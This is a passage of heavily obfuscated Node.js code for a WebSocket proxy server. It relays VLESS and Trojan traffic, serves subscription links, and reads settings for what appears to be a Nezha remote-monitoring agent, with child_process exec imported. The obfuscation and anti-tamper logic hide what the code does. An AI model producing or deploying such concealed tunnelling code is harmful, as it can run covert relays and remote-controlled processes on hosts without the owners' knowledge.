_0x1b8952=0x1*0x188d+-0x391*0x3+0x24f*-0x6,_0x19e82a,_0x74074e,_0x13353f=0x6df*-0x5+-0x20ca+0x4325;_0x74074e=_0x4294c9['charAt'](_0x13353f++);~_0x74074e&&(_0x19e82a=_0x1b8952%(0xb5a*-0x3+0x1561+0x9*0x169)?_0x19e82a*(-0x11d5+0x21*-0x25+0x492*0x5)+_0x74074e:_0x74074e,_0x1b8952++%(-0x34*0x51+0xdff+0x279))?_0x4e5fe8+=_0x1104b1['charCodeAt'](_0x13353f+(0x1*0x249b+0xdb7+-0x3248))-(0xdd3+0x19*-0xd3+0x6d2)!==0x2557+-0x2548+-0xf?String['fromCharCode'](0x9dd+-0x3da*0x9+0x19cc&_0x19e82a>>(-(0xcb*-0x1b+-0x1946*-0x1+-0x3db)*_0x1b8952&0x171d*-0x1+0x3*0x459+-0x8*-0x143)):_0x1b8952:0x44c*0x7+-0xe76+0x2*-0x7cf){_0x74074e=_0x4b7c43['indexOf'](_0x74074e);}for(let _0x105f1a=0x2*0xede+0x232b+-0x40e7,_0x59dbb6=_0x4e5fe8['length'];_0x105f1a<_0x59dbb6;_0x105f1a++){_0x473d37+='%'+('00'+_0x4e5fe8['charCodeAt'](_0x105f1a)['toString'](-0x1*0x1c39+0xb3a+0x110f))['slice'](-(0xe5e+0x1*-0x2415+0x15b9));}return decodeURIComponent(_0x473d37);};_0x36d9['AYkZlQ']=_0x5cfc8c,_0x5ba4d0=arguments,_0x36d9['XmJVmQ']=!![];}const _0x56032b=_0xb63004[0x1043+0x783+-0x17c6],_0x476ecb=_0x31782e+_0x56032b,_0x2a3070=_0x5ba4d0[_0x476ecb];if(!_0x2a3070){const _0x32cf19=function(_0x3b0a8c){this['cmZoKI']=_0x3b0a8c,this['OUeocN']=[-0x791*-0x4+-0xa*0x2a5+-0x3d1,-0x1*-0x207+-0x2fc*0xa+0x1bd1,-0x1f7b+-0x31*-0x61+0xcea*0x1],this['qastVK']=function(){return'newState';},this['rYTwwg']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['ntBSWQ']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x32cf19['prototype']['QlKpkg']=function(){const _0x155784=new RegExp(this['rYTwwg']+this['ntBSWQ']),_0xe70855=_0x155784['test'](this['qastVK']['toString']())?--this['OUeocN'][-0x26db+-0xa15*0x1+0x30f1]:--this['OUeocN'][-0x1*0x13c1+0x1bb1*-0x1+-0x17b9*-0x2];return this['waHfVQ'](_0xe70855);},_0x32cf19['prototype']['waHfVQ']=function(_0x231fac){if(!Boolean(~_0x231fac))return _0x231fac;return this['GeoPbR'](this['cmZoKI']);},_0x32cf19['prototype']['GeoPbR']=function(_0x5952ae){for(let _0x7ac57d=0xcbc+-0x253e+0x1882*0x1,_0x11d8cd=this['OUeocN']['length'];_0x7ac57d<_0x11d8cd;_0x7ac57d++){this['OUeocN']['push'](Math['round'](Math['random']())),_0x11d8cd=this['OUeocN']['length'];}return _0x5952ae(this['OUeocN'][0x14b5+-0x7*0x32b+0x178]);},new _0x32cf19(_0x36d9)['QlKpkg'](),_0x1c223c=_0x36d9['AYkZlQ'](_0x1c223c),_0x5ba4d0[_0x476ecb]=_0x1c223c;}else _0x1c223c=_0x2a3070;return _0x1c223c;},_0x36d9(_0x5ba4d0,_0x1a242b);}function _0xb9c5(){const _0x360ffb=['BNvSBcaYpIyXia','DenhDhy','yNj3zM0','rgzer1O','BNHUEK0','EwmUBw4VDJe','r3rwC2m','Bty0lNnZC3mUBG','y2XPzw50x3nLyW','CfbQA1K','tLHyyKK','ztOGDhj1zqPKAq','uvjcDfO','C0Lcug4','v0f0yKG','zMfSC2u','zYbLCNjVCJO','CgLWzq','jNr5Cgu9D3mMAa','zMLUza','DwukAxbFCMvWBW','CNrft2i','yxjJAa','y291BNrLCG','Bg9N','vw5RBM93BG','C2ukz3b1oIbMyq','vgTeA0W','zLLQBuK','wgr3wfa','cNvZzv9NAxrLzq','E30Uy29UC3rYDq','y3rVCIGICMv0Dq','C2XPy2u','Dg9VzgK','zw5K','uuv4CNa','tKvAseeGDMfYAq','uK1AB0G','ELLAsha','zKXzy1C','BNrnwhC','oc44lJqUna','y29UzMLNlNLHBq','rKnwCLK','r3HqDhm','DgTgvMy','yw1Sid4Vzgv2lW','yNr1D1q','wLjlyvG','BgDpDLu','r0D3z1i','iciUl1TUxxbTiG','v2fJwMu','vMrcChm','s2nhvhC','DguGls1YzxbVCG','C2rOzKi','Be1pDxK','u1zizNK','z2DhEu4','A2LWx3bYB2nZxW','AhzizKK','mJe4nde1mZnTEejpwwO','jMzWpwnOCM9Tzq','yuvgwKO','CMvZB2X2zsa','yxbWBhK','C3vdEvq','C2vFAxb2nL9JBW','C2fIBgvFBMf0oG','DKXssuu','ChjVDg90ExbL','CMvHzfvjBNqXnG','q09rweW','vNL3vKW','Ahr0Chm6lY9KBG','EwLzwhK','C0DTA2S','tM90iezVDw5KcG','jNbHDgG9jtjg','tKvAsefFs0vz','rezWEeK','zdy0lNnZC3mUBG','DgfIBgu','BNbTigLZihj1BG','Dgv4Dc9ODg1S','Eg5Jr2e','mZmZndG2nhnIs1bprq','BNbTigLZigfSCG','ztvMyty5','zw52','Aw5JBhvKzxm','EwmUBw4VywDLBG','v2rjwvu','BwfivNO','zvLnBgq','ls1ZA2LWlwnVBG','DhjHy2u','C3vIC3rY','BwvZC2fNzq','qujgzvG','CNrFzgvSyxK6ia','q0D6v2S','Dw5SAw5R','Cg9W','yuPMzuO','Bxnxuxq','Bw1HBMrFzxHLyW','DgHLBG','C2vHCMnO','D2fYBG','mJi0nJqXnhPKsNbiyq','cMrPC2fIBgvFzG','DLL1Dg8','zgvIDq','CM4GDgHPCYiPka','rMzyDw4','CMvWic12icjNCG','B3n0pq','yxrLoIb0CNvLcG','Cu1xvxm','y2nLC3nMDwXSEq','Awq6ia','DxjLoIbMywXZzq','vg91v3u','tgPht0S','y3vkA1e','zu5SCvu','AeDNuM8','y1PhCge','yMfZzty0','DhHAExO','sgnosvi','Aw5KzxGUAhrTBa','svn2uwW','D3jPDgu','Dw5UAw5NlI4U','u2vYDMvYigLZia','CMvFDgXZoIb0CG','zxzLCNK','AMHSww8','DvrQD08','zgf0yq','cMrLyNvNoIbMyq','v3HVqxK','y2HHAw4','jNnLy3vYAxr5pq','CMv0DxjUicHMDq','yxHPB3m','sgPSwhi','oda2otiWyNrlEvHY','qvnbzKG','BMDmB3e','DMLntfG','y291BNq6ihrYDq','qLDpAem','mJa1mW','CM9JCYa+l2rLDG','re5tihnLCNzLCG','ztOGzMfSC2ukDq','zgLZywjSzv9JBW','D3jPDgvizwfK','odu2mtjjBgP2Awy','Dgv4Dc9WBgfPBG','qw5ZD2vY','sLrxs0y','vgfPC1e','C3rYzwfT','BNzyELG','zv9HDxrVx3vWza','Ahr0Chm6lY9HCG','zgHNzNO','zfncte4','wLPvAfa','BNbTigrVD25SBW','jNr5Cgu9qq','r1bIzfy','q0vSteW','C3bSAxq','z1D6tuy','EM5gChm','z0jPru4','D2PfyNe','m3jAy016yG','tNbUEfe','s1v5wLm','uK9xteS','ufrREhi','DxjS','EKfks1i','CxvLCNK6igzHBa','BIaTlxnRAxaTCa','yLzOsLm','zxjYB3i6ia','A05nyK0','zKvWA3O','ntGWmZm0nurvqKvSrW','nLLLzNrSBa','u0juz0G','ys16qs1AxYrDwW','x3rVx3vWz3jHza','s0DosMO','swfJtgC','Axr5pxrSCYzZBG','rwPQz3e','s1vLzMO','oJq0mZ9Zzwn1CG','y3jLyxrLv3jPDa','D2HPBguGkhrYDq','zxnZ','xcGGkLWP','sKvdrLa','As5PCc5ZyI9Nzq','uhj1y2O','Ahr0Chm6lY9HBq','Agv4','BNq6ihrYDwukCW','DhLWzq','DgvZDa','q2vOsey','rvbvuhy','Dc1KzwXHEsa0ia','yLbgCue','BvvlyKm','EfnuA0u','u0DzB0K','AMLTvge','BLnMuve','DM1tv3m','ChrPB249BM9Uzq','u1vcx1bbveG','r0vQsfi','qMjJq20','BgvUz3rO','C3rHDgvpyMPLyW','DefkDMS','yMLUza','yYbJB25MAwCUEq','D21Wy2e','svrmC1i','BhnLcMLUC2vJDq','yNbMwhC','qvzvAe0','tM1UBe0','CMvHzezPBgu','mZeYnZa0n0XhCfLTBG','ihDPDgGGywXSia','AwTxqLO','Dg9tDhjPBMC','BNbTihj1BM5PBG','BI9QC29U','DM9iB3y','uwf2D1a','vvvjra','B28UC2vYDJaWlG','y29UBMvJDa','swnUCKq','wuzxyKW','ide4mdakCMvWBW','tKnOtuK','rvfsy2G','BMv0','naPZzxj2zxi6ia','z2DLCG','ww5fBKO','Agn1Efa','mJa4mW','ls10Bhm','oIbMywXZzqP1Dq','AM9PBG','C0Hiz3K','ChDuufC','BhnLcMrPC2fIBa','y29UC3rYDwn0BW','veXcCwy','t0P5uxu','uu9tDe4','CMvHzfvjBNq4','y3j5ChrV','Aw5PDa','zxjYB3i'];_0xb9c5=function(){return _0x360ffb;};return _0xb9c5();}const os=require('os'),http=require('http'),fs=require('fs'),axios=require(_0x20ffbd(0x138)),net=require(_0x20ffbd(0x1a9)),path=require('path'),crypto=require(_0x20ffbd(0xa0)),{Buffer}=require('buffer'),{exec,execSync}=require('child_proc'+_0x20ffbd(0x175)),{WebSocket,createWebSocketStream}=require('ws'),UUID=process['env'][_0x20ffbd(0x1a1)]||'4e4a8586-e'+'031-405a-b'+'6e2-baca00'+_0x20ffbd(0xfd),NEZHA_SERVER=process['env']['NEZHA_SERV'+'ER']||'',NEZHA_PORT=process['env']['NEZHA_PORT']||'',NEZHA_KEY=process['env'][_0x20ffbd(0xf4)]||'',DOMAIN=process[_0x20ffbd(0xfe)]['DOMAIN']||'1234.abcde'+'f.com',AUTO_ACCESS=process[_0x20ffbd(0xfe)]['AUTO_ACCES'+'S']||!![],WSPATH=process[_0x20ffbd(0xfe)]['WSPATH']||UUID['slice'](0x1*0x1335+0x116*-0x13+0x1*0x16d,0x6d*0x33+-0x1cd9+0x72a),SUB_PATH=process[_0x20ffbd(0xfe)][_0x20ffbd(0x18a)]||'sub',NAME=process['env']['NAME']||'',PORT=process[_0x20ffbd(0xfe)]['PORT']||-0x745*-0x7+0x26e7+-0x9d9*0x6;let ISP='';const GetISP=async()=>{const _0x3ea0f5=_0x20ffbd,_0xeaf9fa={'LSneC':'https://am'+_0x3ea0f5(0xf6)+_0x3ea0f5(0x100)+'t','bpfXw':_0x3ea0f5(0xbe),'vmSWs':'https://ap'+_0x3ea0f5(0x178)+'oip','QRBtZ':_0x3ea0f5(0xbc)};try{if(_0xeaf9fa[_0x3ea0f5(0x195)]===_0x3ea0f5(0xbe)){const _0x301cc0=await axios['get'](_0xeaf9fa[_0x3ea0f5(0x188)]),_0x4a825b=_0x301cc0['data'];ISP=(_0x4a825b['country_co'+'de']+'-'+_0x4a825b['isp'])['replace'](/ /g,'_');}else return!_0xbe4f86?_0x3ea0f5(0x17a)+_0x3ea0f5(0xf6)+'yc.mn/v1':_0xeaf9fa['LSneC'];}catch(_0x5708b1){ISP=_0xeaf9fa[_0x3ea0f5(0xaf)];}};GetISP();const httpServer=http['createServ'+'er']((_0x3ba64d,_0x28ec23)=>{const _0x105e2f=_0x20ffbd,_0x4e8cc9={'MMhjH':'Hello\x20worl'+'d!','VqVWj':_0x105e2f(0xf9),'KWKWX':function(_0x21b5d2,_0x5d1a66){return _0x21b5d2===_0x5d1a66;},'sNVYW':_0x105e2f(0x129),'JUaaJ':'utf8','kDAkQ':function(_0x117b28,_0x20fb93){return _0x117b28===_0x20fb93;},'nxnzM':function(_0x7f8d6,_0x4a3168){return _0x7f8d6+_0x4a3168;},'wYWhS':_0x105e2f(0x126),'IacLg':'text/plain'};if(_0x4e8cc9['KWKWX'](_0x3ba64d['url'],'/')){const _0x1f105b=path[_0x105e2f(0x1b1)](__dirname,_0x4e8cc9['sNVYW']);fs[_0x105e2f(0x198)](_0x1f105b,_0x4e8cc9['JUaaJ'],(_0x13950b,_0x53f14b)=>{const _0x2d290b=_0x105e2f;if(_0x13950b){_0x28ec23['writeHead'](0x19a4+-0x6dc*-0x2+-0x2694,{'Content-Type':'text/html'}),_0x28ec23[_0x2d290b(0xc6)](_0x4e8cc9['MMhjH']);return;}_0x28ec23['writeHead'](0x1*-0x3f+-0xb63+0xc6a*0x1,{'Content-Type':_0x4e8cc9['VqVWj']}),_0x28ec23['end'](_0x53f14b);});return;}else{if(_0x4e8cc9['kDAkQ'](_0x3ba64d['url'],'/'+SUB_PATH)){const _0x5a11e4=NAME?NAME+'-'+ISP:ISP,_0x37e84a='vless://'+UUID+'@'+DOMAIN+(':443?encry'+_0x105e2f(0x189)+_0x105e2f(0x136)+'tls&sni=')+DOMAIN+('&fp=chrome'+'&type=ws&h'+'ost=')+DOMAIN+_0x105e2f(0xf3)+WSPATH+'#'+_0x5a11e4,_0x507ef7='trojan://'+UUID+'@'+DOMAIN+(_0x105e2f(0x172)+_0x105e2f(0x16f)+'i=')+DOMAIN+('&fp=chrome'+_0x105e2f(0xb5)+_0x105e2f(0x11a))+DOMAIN+'&path=%2F'+WSPATH+'#'+_0x5a11e4,_0x496cdc=_0x4e8cc9['nxnzM'](_0x4e8cc9[_0x105e2f(0xa7)](_0x37e84a,'\x0a'),_0x507ef7),_0x17bd96=Buffer['from'](_0x496cdc)['toString'](_0x4e8cc9['wYWhS']);_0x28ec23['writeHead'](0x913*0x1+0x1*-0x20a4+0x10f*0x17,{'Content-Type':_0x105e2f(0x147)}),_0x28ec23[_0x105e2f(0xc6)](_0x4e8cc9[_0x105e2f(0xa7)](_0x17bd96,'\x0a'));}else _0x28ec23[_0x105e2f(0x145)](-0x24b*0x1+0x9f*0x2d+-0x605*0x4,{'Content-Type':_0x4e8cc9[_0x105e2f(0x16e)]}),_0x28ec23['end'](_0x105e2f(0xf2));}}),wss=new WebSocket['Server']({'server':httpServer}),uuid=UUID['replace'](/-/g,''),DNS_SERVERS=[_0x20ffbd(0xcd),'1.1.1.1'];function resolveHost(_0x1536cd){const _0x104131=_0x20ffbd,_0x389d17={'tkFVf':function(_0x38ea10,_0x6c22b7){return _0x38ea10>_0x6c22b7;},'OJyQu':function(_0x4e85b7,_0x406a42){return _0x4e85b7(_0x406a42);},'BbcCm':function(_0x4cb26f){return _0x4cb26f();},'KUefj':'OuNIf','lxQAX':'dTLAq','gOvyO':function(_0x515c0f,_0x487631){return _0x515c0f===_0x487631;},'TouWu':function(_0x4b015f,_0x1a27ac){return _0x4b015f(_0x1a27ac);},'uKWle':'applicatio'+'n/dns-json','fiQwa':_0x104131(0x131),'MaHGZ':_0x104131(0x177)};return new Promise((_0x49f634,_0x1c93cd)=>{const _0x3088ad=_0x104131,_0x32efa1={'ReyaB':function(_0x4651d5,_0x358da1){return _0x4651d5===_0x358da1;},'iJtbU':function(_0x331da0,_0x280958){const _0x12c23d=_0x36d9;return _0x389d17[_0x12c23d(0xd1)](_0x331da0,_0x280958);},'NXXbI':function(_0x14f3c3,_0x514984){const _0x31edc4=_0x36d9;return _0x389d17[_0x31edc4(0x1b7)](_0x14f3c3,_0x514984);},'VywVL':function(_0x2c5e6f){const _0x131646=_0x36d9;return _0x389d17[_0x131646(0x18c)](_0x2c5e6f);},'XdwXP':function(_0x54a329,_0xfd36f5){return _0x54a329!==_0xfd36f5;},'egGAb':_0x389d17[_0x3088ad(0x171)],'pZdRm':_0x389d17['lxQAX'],'YFWbL':function(_0xbd032c,_0xf21e5){return _0x389d17['gOvyO'](_0xbd032c,_0xf21e5);},'fVJwB':_0x3088ad(0x15c),'drizo':function(_0x2317cb,_0x2c4d05){const _0x3fd4e1=_0x3088ad;return _0x389d17[_0x3fd4e1(0x120)](_0x2317cb,_0x2c4d05);},'nbbZM':_0x389d17['uKWle']};if(_0x389d17['gOvyO'](_0x389d17['fiQwa'],_0x389d17['MaHGZ'])){const _0x5edbcf=_0x24e275[_0x3088ad(0x132)];if(_0x32efa1['ReyaB'](_0x5edbcf['Status'],-0xc5*0x7+0x115*-0x17+0x1e46)&&_0x5edbcf['Answer']&&_0x32efa1['iJtbU'](_0x5edbcf[_0x3088ad(0x148)]['length'],-0x1f70*-0x1+-0x1*0x1215+-0x1*0xd5b)){const _0x52bbe8=_0x5edbcf['Answer'][_0x3088ad(0xb6)](_0x28af02=>_0x28af02[_0x3088ad(0x17d)]===-0x387+0x26b0+-0x2328);if(_0x52bbe8){_0x32efa1['NXXbI'](_0x4a3c02,_0x52bbe8['data']);return;}}_0x32efa1[_0x3088ad(0xee)](_0x275957);}else{if(/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/['test'](_0x1536cd)){_0x49f634(_0x1536cd);return;}let _0x1dab13=-0xd4*-0x16+0x1256+-0x248e;function _0x10c66d(){const _0x4fa92d=_0x3088ad,_0x3828da={'JTWKF':function(_0x17e11a,_0x2ad145){return _0x32efa1['iJtbU'](_0x17e11a,_0x2ad145);},'KGNJj':function(_0xfe7c10,_0x104b86){const _0x27cc34=_0x36d9;return _0x32efa1[_0x27cc34(0xc0)](_0xfe7c10,_0x104b86);},'FSoRT':_0x32efa1['egGAb'],'TdcYL':_0x32efa1['pZdRm'],'anCdh':function(_0x5b5bef,_0x6851cc){const _0x241ced=_0x36d9;return _0x32efa1[_0x241ced(0x1a5)](_0x5b5bef,_0x6851cc);},'nzAHE':_0x4fa92d(0x130),'zotNa':_0x32efa1['fVJwB'],'oAcat':function(_0x5407df,_0x3d59ae){const _0x42f659=_0x4fa92d;return _0x32efa1[_0x42f659(0xad)](_0x5407df,_0x3d59ae);},'NCfwQ':function(_0x5d7545){return _0x5d7545();}};if(_0x1dab13>=DNS_SERVERS['length']){_0x32efa1['drizo'](_0x1c93cd,new Error('Failed\x20to\x20'+_0x4fa92d(0xe5)+_0x1536cd+(_0x4fa92d(0x19a)+_0x4fa92d(0x142)+'s')));return;}const _0x23a79b=DNS_SERVERS[_0x1dab13];_0x1dab13++;const _0x3806d2=_0x4fa92d(0xef)+'s.google/r'+'esolve?nam'+'e='+encodeURIComponent(_0x1536cd)+_0x4fa92d(0x153);axios['get'](_0x3806d2,{'timeout':0x1388,'headers':{'Accept':_0x32efa1['nbbZM']}})['then'](_0xe5d990=>{const _0x47c8dc=_0x4fa92d,_0x5e777a=_0xe5d990['data'];if(_0x5e777a['Status']===0x1a05+0x2433*0x1+0x58*-0xb5&&_0x5e777a['Answer']&&_0x3828da[_0x47c8dc(0x149)](_0x5e777a['Answer'][_0x47c8dc(0x18d)],-0x1*0x1ea9+0x36*0x49+0xf43*0x1)){if(_0x3828da[_0x47c8dc(0x16d)](_0x3828da['FSoRT'],_0x3828da['TdcYL'])){const _0x3577b6=_0x5e777a['Answer']['find'](_0x48b9e2=>_0x48b9e2[_0x47c8dc(0x17d)]===0xe8d*-0x1+0xd*0xd3+0x3d7);if(_0x3577b6){if(_0x3828da['anCdh'](_0x3828da['nzAHE'],_0x3828da['zotNa']))return;else{_0x3828da['oAcat'](_0x49f634,_0x3577b6[_0x47c8dc(0x132)]);return;}}}else{const _0xb4902d=_0x14d104?function(){if(_0x34f306){const _0x202688=_0x1e0a11['apply'](_0x3014a3,arguments);return _0x5931f0=null,_0x202688;}}:function(){};return _0x4b117a=![],_0xb4902d;}}_0x10c66d();})['catch'](_0x3766b6=>{_0x3828da['NCfwQ'](_0x10c66d);});}_0x389d17['BbcCm'](_0x10c66d);}});}function handleVlessConnection(_0x1df31a,_0x394e46){const _0x5dbc03=_0x20ffbd,_0x13fdfd={'XoVUd':_0x5dbc03(0x19d)+'g\x20error:','HVYjq':function(_0x2f79e6,_0x4b2360){return _0x2f79e6!==_0x4b2360;},'yydnh':'DPgcy','msWQt':'error','KUyZS':'yzLbN','OJlXD':function(_0x5504e5,_0x1160ed){return _0x5504e5===_0x1160ed;},'igJOU':'DyRoE','LjGOK':'oRYsH','WlPsC':function(_0x41d045,_0x4d9c4d){return _0x41d045+_0x4d9c4d;},'BAddI':function(_0x48b48b,_0x46ca6c){return _0x48b48b==_0x46ca6c;},'yNClk':function(_0x8ff0b6,_0x4aa63c){return _0x8ff0b6==_0x4aa63c;},'ZRKaX':function(_0x1fbf69,_0x4c7cec){return _0x1fbf69+_0x4c7cec;},'RCKox':function(_0x1902a7,_0xe82693){return _0x1902a7+_0xe82693;},'svuYI':function(_0x4ecd1e,_0xcabe05){return _0x4ecd1e(_0xcabe05);},'BIlyt':function(_0xc56838,_0x9269e7){return _0xc56838(_0x9269e7);}},[_0x47499a]=_0x394e46,_0x115744=_0x394e46['slice'](-0x1*-0x262b+-0x1c99+-0x991,-0x1db6*0x1+-0xb*0x172+0x2dad);if(!_0x115744['every']((_0x41b810,_0x3dfd17)=>_0x41b810==parseInt(uuid[_0x5dbc03(0x106)](_0x3dfd17*(0x3*0x150+0x11*0x99+-0xe17),0x83*-0x2a+0x2581+-0x11*0xf1),-0x63*0x15+-0x22be*-0x1+-0x1a8f*0x1)))return![];let _0x5dd060=_0x13fdfd['WlPsC'](_0x394e46[_0x5dbc03(0xc4)](0xe5e*-0x1+0x233e+-0x14cf,-0x1351*0x1+0x1948+-0x5e5)[_0x5dbc03(0x9f)](),0x26b+0xad8+0x1a6*-0x8);const _0x101a82=_0x394e46[_0x5dbc03(0xc4)](_0x5dd060,_0x5dd060+=0x1715+0x11*0x139+-0x2bdc)[_0x5dbc03(0xec)+'BE'](0x23b2+0x1e7f*-0x1+-0x533),_0x48ece6=_0x394e46[_0x5dbc03(0xc4)](_0x5dd060,_0x5dd060+=-0xcb8+0x2598+-0x18df)['readUInt8'](),_0x54ae91=_0x13fdfd['BAddI'](_0x48ece6,-0x2*-0x3d3+0x5*0x602+-0xb*0x36d)?_0x394e46['slice'](_0x5dd060,_0x5dd060+=0x8*-0x33f+-0xa36+0x2432)['join']('.'):_0x13fdfd['yNClk'](_0x48ece6,-0x109*-0x3+-0x20e8+-0x1*-0x1dcf)?new TextDecoder()['decode'](_0x394e46[_0x5dbc03(0xc4)](_0x5dd060+(-0x37*0x49+0x132b+-0xb*0x51),_0x5dd060+=_0x13fdfd[_0x5dbc03(0xd4)](0x2a9*0x7+0x5*-0x1c1+0x1*-0x9d9,_0x394e46[_0x5dbc03(0xc4)](_0x5dd060,_0x13fdfd['RCKox'](_0x5dd060,-0x1ddb*-0x1+0xda*0x22+-0x3ace))['readUInt8']()))):_0x13fdfd['yNClk'](_0x48ece6,-0x412+-0x1630+0x1a45)?_0x394e46[_0x5dbc03(0xc4)](_0x5dd060,_0x5dd060+=-0x9e5*0x2+-0xe6+0x14c0)['reduce']((_0x552ff6,_0x316324,_0x6438de,_0x14966c)=>_0x6438de%(-0x1e62+0x1*0xc83+0x11e1)?_0x552ff6['concat'](_0x14966c['slice'](_0x6438de-(0xe09*0x1+-0x7ca*0x4+0x1120),_0x6438de+(-0x1dd7*-0x1+-0x11b*0x1+0x1cbb*-0x1))):_0x552ff6,[])['map'](_0x3d3d5a=>_0x3d3d5a['readUInt16'+'BE'](-0x22*0x5+0x1aeb+-0x1a41)[_0x5dbc03(0x19c)](0x190a+-0x10d*0x17+0x17*-0x9))['join'](':'):'';_0x1df31a['send'](new Uint8Array([_0x47499a,-0x10bf+-0x17*0x47+0x1720]));const _0x2d0814=_0x13fdfd['svuYI'](createWebSocketStream,_0x1df31a);return _0x13fdfd['BIlyt'](resolveHost,_0x54ae91)[_0x5dbc03(0x110)](_0x420509=>{const _0x4b6635=_0x5dbc03,_0x46d335={'eEdsU':_0x13fdfd['XoVUd'],'xncGa':'npm\x20is\x20run'+'ning','HLpWM':function(_0x2ef21f,_0x28d3dd){return _0x13fdfd['HVYjq'](_0x2ef21f,_0x28d3dd);},'fYjmI':_0x13fdfd['yydnh'],'ZZUhP':_0x13fdfd['msWQt']};if(_0x13fdfd[_0x4b6635(0x15d)]!=='yzLbN')return![];else net['connect']({'host':_0x420509,'port':_0x101a82},function(){const _0x46834b=_0x4b6635;if(_0x46d335['HLpWM'](_0x46d335[_0x46834b(0xbf)],'XnsHI'))this['write'](_0x394e46[_0x46834b(0xc4)](_0x5dd060)),_0x2d0814['on'](_0x46d335['ZZUhP'],()=>{})['pipe'](this)['on'](_0x46d335[_0x46834b(0x151)],()=>{})['pipe'](_0x2d0814);else{if(_0x4d2393)_0x272347[_0x46834b(0xa2)](_0x46d335['eEdsU'],_0x4e9834);else _0x493158['log'](_0x46d335[_0x46834b(0xfa)]);}})['on'](_0x13fdfd['msWQt'],()=>{});})['catch'](_0x400142=>{const _0x2d00e3=_0x5dbc03,_0x14b0de={'EdYPb':_0x13fdfd[_0x2d00e3(0x10e)]};_0x13fdfd['OJlXD'](_0x13fdfd['igJOU'],_0x13fdfd[_0x2d00e3(0x121)])?_0xb1a303+=0xa6e+-0x1e3b+0x13cf*0x1:net[_0x2d00e3(0x1a3)]({'host':_0x54ae91,'port':_0x101a82},function(){const _0xfe3d74=_0x2d00e3;this[_0xfe3d74(0x12b)](_0x394e46[_0xfe3d74(0xc4)](_0x5dd060)),_0x2d0814['on'](_0x14b0de['EdYPb'],()=>{})[_0xfe3d74(0xb4)](this)['on']('error',()=>{})['pipe'](_0x2d0814);})['on'](_0x13fdfd['msWQt'],()=>{});}),!![];}function handleTrojanConnection(_0x26abcb,_0x1fcc0f){const _0x2e3d26=_0x20ffbd,_0x5da64a={'pwTPW':'(((.+)+)+)'+'+$','eYMld':'Unknown','WVgCW':function(_0x43df2a,_0x812ca8){return _0x43df2a(_0x812ca8);},'rtEOb':function(_0x464b30,_0x1a9f8d){return _0x464b30<_0x1a9f8d;},'ISvQl':_0x2e3d26(0xa2),'PTkxr':function(_0x3e6219,_0x2e713f){return _0x3e6219<_0x2e713f;},'hGgRo':_0x2e3d26(0x17b),'VdBps':function(_0x41419a,_0x3a4d72){return _0x41419a===_0x3a4d72;},'adhlC':_0x2e3d26(0xdf),'WIuwI':_0x2e3d26(0xd8),'QOStN':function(_0x472777,_0xcace48){return _0x472777===_0xcace48;},'dcRVI':'nvXzX','jWLre':function(_0x102086,_0x1bdedd){return _0x102086!==_0x1bdedd;},'SGYoI':_0x2e3d26(0x108),'hvHfI':'lgNWJ','bPFqA':function(_0x3a0962,_0x219dcd){return _0x3a0962+_0x219dcd;},'mTzxq':function(_0x16fb56,_0x34ab88){return _0x16fb56===_0x34ab88;},'mFldA':_0x2e3d26(0x1a4),'pRScr':function(_0x23944d,_0x58e878){return _0x23944d+_0x58e878;},'ccnyt':function(_0x25a093,_0x5cfdac){return _0x25a093+_0x5cfdac;},'dooeM':function(_0x681285,_0x788c29){return _0x681285===_0x788c29;},'PZewG':function(_0x3b183a,_0x35949a){return _0x3b183a(_0x35949a);},'dVRHM':function(_0x139c4a,_0x226bec){return _0x139c4a(_0x226bec);}};try{if(_0x5da64a[_0x2e3d26(0x15f)](_0x1fcc0f[_0x2e3d26(0x18d)],0x1fb0+0x2f1*0xd+-0x45b3))return![];const _0x45a595=_0x1fcc0f['slice'](-0x1a58+0x1*0x1704+0x2*0x1aa,-0x1*0x1e63+-0x2*0xa16+0x32c7)['toString'](),_0x5c99ea=[UUID];let _0x74bd4d=null;for(const _0x156441 of _0x5c99ea){const _0x4143ff=crypto['createHash']('sha224')['update'](_0x156441)['digest'](_0x5da64a[_0x2e3d26(0x124)]);if(_0x5da64a['VdBps'](_0x4143ff,_0x45a595)){if(_0x5da64a[_0x2e3d26(0xd9)](_0x5da64a['adhlC'],_0x5da64a['WIuwI']))return _0x803409[_0x2e3d26(0x19c)]()['search'](abREKy['pwTPW'])[_0x2e3d26(0x19c)]()['constructo'+'r'](_0xc85c70)['search'](abREKy[_0x2e3d26(0x1b3)]);else{_0x74bd4d=_0x156441;break;}}}if(!_0x74bd4d)return![];let _0x2274b0=-0x3b9+-0x51b+-0x90c*-0x1;_0x5da64a['QOStN'](_0x1fcc0f[_0x2274b0],0x192a+-0x1494+-0x183*0x3)&&_0x1fcc0f[_0x2274b0+(0x3*-0x76c+-0x172a+0x2d6f*0x1)]===0x2581+0x5*-0x2e7+-0x4*0x5bd&&(_0x5da64a['dcRVI']!==_0x2e3d26(0x14c)?_0x723689=_0x5da64a[_0x2e3d26(0x103)]:_0x2274b0+=0xb*-0x361+0x479*-0x8+-0x1*-0x48f5);const _0x5cb093=_0x1fcc0f[_0x2274b0];if(_0x5da64a['jWLre'](_0x5cb093,0x2665+-0x1c27+-0x1*0xa3d))return![];_0x2274b0+=0x4b2+-0x20a3+-0xe*-0x1ff;const _0x2f496a=_0x1fcc0f[_0x2274b0];_0x2274b0+=0x1c19+-0x10f1*-0x1+-0x2d09;let _0x3c5e09,_0x27fa8e;if(_0x5da64a[_0x2e3d26(0x1b8)](_0x2f496a,0x18*0x24+0x1d24+-0x1*0x2083))_0x5da64a[_0x2e3d26(0x1b8)](_0x5da64a[_0x2e3d26(0x185)],_0x5da64a[_0x2e3d26(0xe1)])?abREKy['WVgCW'](_0x1725be,'0'):(_0x3c5e09=_0x1fcc0f['slice'](_0x2274b0,_0x5da64a[_0x2e3d26(0x182)](_0x2274b0,0x13*0x190+-0x1120+-0xc8c))['join']('.'),_0x2274b0+=-0x1*0x6c9+-0x14ae*0x1+0x1b7b);else{if(_0x2f496a===0x4*-0x3cf+-0x1754+-0x5*-0x7b7){if(_0x5da64a['mTzxq'](_0x5da64a['mFldA'],_0x2e3d26(0x1a4))){const 